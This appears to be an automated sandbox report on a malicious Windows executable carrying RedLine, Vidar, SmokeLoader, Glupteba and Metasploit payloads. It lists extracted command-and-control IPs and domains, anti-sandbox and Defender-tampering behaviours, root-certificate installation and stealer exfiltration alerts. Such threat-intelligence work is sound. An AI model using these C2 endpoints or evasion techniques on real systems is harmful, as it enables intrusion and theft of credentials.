glupteba | b9f79bcb4c0ea9e939b35813e807fda308b7038f1dea613e7d8bbd7fe127ac84

Resubmissions

16-08-2021 23:51

210816-brbk3bytl6 10

17-08-2021 08:50

210817-93dcp7bk4e

Analysis

max time kernel
91s
max time network
1829s
platform
windows7_x64
resource
win7v20210408
submitted
17-08-2021 08:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
Size

631KB
MD5

375c1ffe19f2fba6ff5f32b4000cdea4
SHA1

2557bf9d890e4e0832fb03474657dae9c0037db3
SHA256

b9f79bcb4c0ea9e939b35813e807fda308b7038f1dea613e7d8bbd7fe127ac84
SHA512

63c504fe78a323e570bc56459f6081e33444e6ebd8b39e64c1b4019c6dd32ad3d9b603f3f0e72d42963f39f5a3e676d1b3a60bd251287266b494faf591206042

Score

10^/10

glupteba metasploit redline smokeloader vidar 32222 4 916 937 ls4 backdoor discovery dropper evasion infostealer loader stealer suricata themida trojan upx vmprotect

Malware Config

Extracted

Family

redline

205.185.119.191:18846

Extracted

Family

redline

Botnet

213.166.68.170:16810

Extracted

Family

redline

Botnet

32222

188.124.36.242:25802

Extracted

Family

redline

Botnet

ls4

ighaisexel.xyz:80

Extracted

Family

smokeloader

Version

2020

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/

rc4.i32

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

vidar

Version

Botnet

937

https://lenak513.tumblr.com/

Attributes

profile_id
937

Extracted

Family

vidar

Version

Botnet

916

https://lenak513.tumblr.com/

Attributes

profile_id
916

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1804-226-0x0000000001540000-0x0000000001E66000-memory.dmp	family_glupteba
behavioral1/memory/1804-227-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rUNdlL32.eXe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2080 1484 rUNdlL32.eXe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2080	1484	rUNdlL32.eXe

RedLine Payload 12 IoCs

Processes:

resource	yara_rule
\Users\Admin\Documents\AiQtRVyncFVssmiBY6oYjHq4.exe	family_redline
C:\Users\Admin\Documents\AiQtRVyncFVssmiBY6oYjHq4.exe	family_redline
behavioral1/memory/360-125-0x0000000002CE0000-0x0000000002CFC000-memory.dmp	family_redline
behavioral1/memory/360-169-0x00000000046B0000-0x00000000046CA000-memory.dmp	family_redline
\Users\Admin\Documents\M9RWsdPKdmf3Fvi4PoroSYwb.exe	family_redline
behavioral1/memory/2412-201-0x0000000000760000-0x0000000000779000-memory.dmp	family_redline
behavioral1/memory/3028-208-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/3036-212-0x0000000000418F6E-mapping.dmp	family_redline
behavioral1/memory/3028-211-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/3036-210-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/3036-214-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/3028-209-0x0000000000418F82-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

evasion 7 IoCs

evasion.

evasion

Processes:

resource	yara_rule
\Users\Admin\Documents\yrxM2Ufz4dbrhSKhre2aOzCO.exe	evasion
\Users\Admin\Documents\yrxM2Ufz4dbrhSKhre2aOzCO.exe	evasion
\Users\Admin\Documents\ki5MiJzVNVCG3xbnF1RSHMGa.exe	evasion
behavioral1/memory/1804-226-0x0000000001540000-0x0000000001E66000-memory.dmp	evasion
behavioral1/memory/1804-227-0x0000000000400000-0x0000000000D41000-memory.dmp	evasion
\Users\Admin\Documents\ki5MiJzVNVCG3xbnF1RSHMGa.exe	evasion
C:\Users\Admin\Documents\yrxM2Ufz4dbrhSKhre2aOzCO.exe	evasion

suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata

CustAttr .NET packer 1 IoCs

Detects CustAttr .NET packer in memory.

Processes:

resource	yara_rule
behavioral1/memory/2524-232-0x00000000001D0000-0x00000000001DB000-memory.dmp	CustAttr

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 4 IoCs

stealer

Processes:

resource	yara_rule
behavioral1/memory/2272-216-0x0000000002D90000-0x0000000002E2D000-memory.dmp	family_vidar
behavioral1/memory/2272-237-0x0000000000400000-0x0000000002D19000-memory.dmp	family_vidar
behavioral1/memory/960-286-0x0000000000400000-0x000000000094E000-memory.dmp	family_vidar
behavioral1/memory/960-285-0x0000000000300000-0x000000000039D000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 29 IoCs

Processes:

UdNd_xXMWQ3whsIBlrnpQBt4.exeYJDkJ4cqmvtxo1UgV0PokpZV.exeBozELhefaGKGcjtZ6Uv8lbi_.exeZRuLiAUQw11HkjcfTB32cgMC.exexsKBKuQksZQuAFgcK6sGmL7R.exelKmNEk9Dzs5mwD2aH4HsVshQ.exeAiQtRVyncFVssmiBY6oYjHq4.exeYk2YclFSGOFzC80jteFI6c0q.exeMuaJ3UZ32huZ0P40yh9aGqyh.exeZRuLiAUQw11HkjcfTB32cgMC.execustomer3.exemd8_8eus.exejooyu.exeYJDkJ4cqmvtxo1UgV0PokpZV.exejfiag3g_gg.exetaskkill.exeyrxM2Ufz4dbrhSKhre2aOzCO.exeqRuvlmdWEy1dX00_kK9l3meH.exeGPZ__yjSi2RDdeAQsg97Gav9.exeYjz6kO9tj5NPANirJJyd69hP.exezjGkrahcqUNf6XrknZvLMWQ_.exehdkRfTumOuMpgwgpgVeJxC4X.exef9g0rzwojto4VMysjEhWS_nM.exeM9RWsdPKdmf3Fvi4PoroSYwb.exeinstaller.exeki5MiJzVNVCG3xbnF1RSHMGa.exeUzjJ6ufRLhl30R0egEw0MScr.exeUzjJ6ufRLhl30R0egEw0MScr.tmpjfiag3g_gg.exe

pid	process
744	UdNd_xXMWQ3whsIBlrnpQBt4.exe
1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe
1804	BozELhefaGKGcjtZ6Uv8lbi_.exe
1828	ZRuLiAUQw11HkjcfTB32cgMC.exe
952	xsKBKuQksZQuAFgcK6sGmL7R.exe
964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
1468	AiQtRVyncFVssmiBY6oYjHq4.exe
360	Yk2YclFSGOFzC80jteFI6c0q.exe
1612	MuaJ3UZ32huZ0P40yh9aGqyh.exe
1956	ZRuLiAUQw11HkjcfTB32cgMC.exe
948	customer3.exe
280	md8_8eus.exe
1572	jooyu.exe
1908	YJDkJ4cqmvtxo1UgV0PokpZV.exe
2184	jfiag3g_gg.exe
2272	taskkill.exe
2328	yrxM2Ufz4dbrhSKhre2aOzCO.exe
2252	qRuvlmdWEy1dX00_kK9l3meH.exe
2308	GPZ__yjSi2RDdeAQsg97Gav9.exe
2348	Yjz6kO9tj5NPANirJJyd69hP.exe
2428	zjGkrahcqUNf6XrknZvLMWQ_.exe
2524	hdkRfTumOuMpgwgpgVeJxC4X.exe
2412	f9g0rzwojto4VMysjEhWS_nM.exe
2472	M9RWsdPKdmf3Fvi4PoroSYwb.exe
2440	installer.exe
2456	ki5MiJzVNVCG3xbnF1RSHMGa.exe
2840	UzjJ6ufRLhl30R0egEw0MScr.exe
2920	UzjJ6ufRLhl30R0egEw0MScr.tmp
2968	jfiag3g_gg.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
\Program Files (x86)\Company\NewProduct\md8_8eus.exe	vmprotect
behavioral1/memory/280-126-0x0000000000400000-0x000000000067D000-memory.dmp	vmprotect
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	vmprotect
\Program Files (x86)\Company\NewProduct\md8_8eus.exe	vmprotect

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AiQtRVyncFVssmiBY6oYjHq4.exeM9RWsdPKdmf3Fvi4PoroSYwb.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AiQtRVyncFVssmiBY6oYjHq4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AiQtRVyncFVssmiBY6oYjHq4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	M9RWsdPKdmf3Fvi4PoroSYwb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	M9RWsdPKdmf3Fvi4PoroSYwb.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

375C1FFE19F2FBA6FF5F32B4000CDEA4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\International\Geo\Nation	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe

Loads dropped DLL 44 IoCs

Processes:

375C1FFE19F2FBA6FF5F32B4000CDEA4.exelKmNEk9Dzs5mwD2aH4HsVshQ.exejooyu.exeUzjJ6ufRLhl30R0egEw0MScr.exeUzjJ6ufRLhl30R0egEw0MScr.tmpf9g0rzwojto4VMysjEhWS_nM.exe

pid	process
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
964	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
1572	jooyu.exe
1572	jooyu.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
2840	UzjJ6ufRLhl30R0egEw0MScr.exe
2920	UzjJ6ufRLhl30R0egEw0MScr.tmp
2920	UzjJ6ufRLhl30R0egEw0MScr.tmp
2920	UzjJ6ufRLhl30R0egEw0MScr.tmp
1572	jooyu.exe
1572	jooyu.exe
2412	f9g0rzwojto4VMysjEhWS_nM.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Users\Admin\Documents\AiQtRVyncFVssmiBY6oYjHq4.exe	themida
C:\Users\Admin\Documents\AiQtRVyncFVssmiBY6oYjHq4.exe	themida
behavioral1/memory/1468-110-0x00000000003F0000-0x00000000003F1000-memory.dmp	themida
behavioral1/memory/2472-192-0x0000000000980000-0x0000000000981000-memory.dmp	themida
\Users\Admin\Documents\M9RWsdPKdmf3Fvi4PoroSYwb.exe	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

AiQtRVyncFVssmiBY6oYjHq4.exeM9RWsdPKdmf3Fvi4PoroSYwb.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AiQtRVyncFVssmiBY6oYjHq4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M9RWsdPKdmf3Fvi4PoroSYwb.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

18 ipinfo.io
19 ipinfo.io
140 ip-api.com
162 ipinfo.io
164 ipinfo.io

flow	ioc
18	ipinfo.io
19	ipinfo.io
140	ip-api.com
162	ipinfo.io
164	ipinfo.io

Program crash 4 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2212	280	WerFault.exe	md8_8eus.exe
2832	2772	WerFault.exe	3233021.exe
3004	2944	WerFault.exe	8023118.exe
3996	2784	WerFault.exe	IEXPLORE.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

AiQtRVyncFVssmiBY6oYjHq4.exeM9RWsdPKdmf3Fvi4PoroSYwb.exe

pid process

1468 AiQtRVyncFVssmiBY6oYjHq4.exe
2472 M9RWsdPKdmf3Fvi4PoroSYwb.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

YJDkJ4cqmvtxo1UgV0PokpZV.exe

description pid process target process

PID 1040 set thread context of 1908 1040 YJDkJ4cqmvtxo1UgV0PokpZV.exe YJDkJ4cqmvtxo1UgV0PokpZV.exe

pid	process
1468	AiQtRVyncFVssmiBY6oYjHq4.exe
2472	M9RWsdPKdmf3Fvi4PoroSYwb.exe

description	pid	process	target process
PID 1040 set thread context of 1908	1040	YJDkJ4cqmvtxo1UgV0PokpZV.exe	YJDkJ4cqmvtxo1UgV0PokpZV.exe

Drops file in Program Files directory 5 IoCs

Processes:

lKmNEk9Dzs5mwD2aH4HsVshQ.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	lKmNEk9Dzs5mwD2aH4HsVshQ.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	lKmNEk9Dzs5mwD2aH4HsVshQ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

YJDkJ4cqmvtxo1UgV0PokpZV.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	YJDkJ4cqmvtxo1UgV0PokpZV.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	YJDkJ4cqmvtxo1UgV0PokpZV.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	YJDkJ4cqmvtxo1UgV0PokpZV.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2936 schtasks.exe
556 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2508 timeout.exe
1060 timeout.exe

pid	process
2936	schtasks.exe
556	schtasks.exe

pid	process
2508	timeout.exe
1060	timeout.exe

Kills process with taskkill 10 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
744	taskkill.exe
2288	taskkill.exe
2272	taskkill.exe
3740	taskkill.exe
2404	taskkill.exe
4700	taskkill.exe
912	taskkill.exe
2784	taskkill.exe
3748	taskkill.exe
1824	taskkill.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

375C1FFE19F2FBA6FF5F32B4000CDEA4.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	168	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	163	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

375C1FFE19F2FBA6FF5F32B4000CDEA4.exeYJDkJ4cqmvtxo1UgV0PokpZV.exe

pid	process
1120	375C1FFE19F2FBA6FF5F32B4000CDEA4.exe
1908	YJDkJ4cqmvtxo1UgV0PokpZV.exe
1908	YJDkJ4cqmvtxo1UgV0PokpZV.exe
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1212
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

YJDkJ4cqmvtxo1UgV0PokpZV.exe

pid process

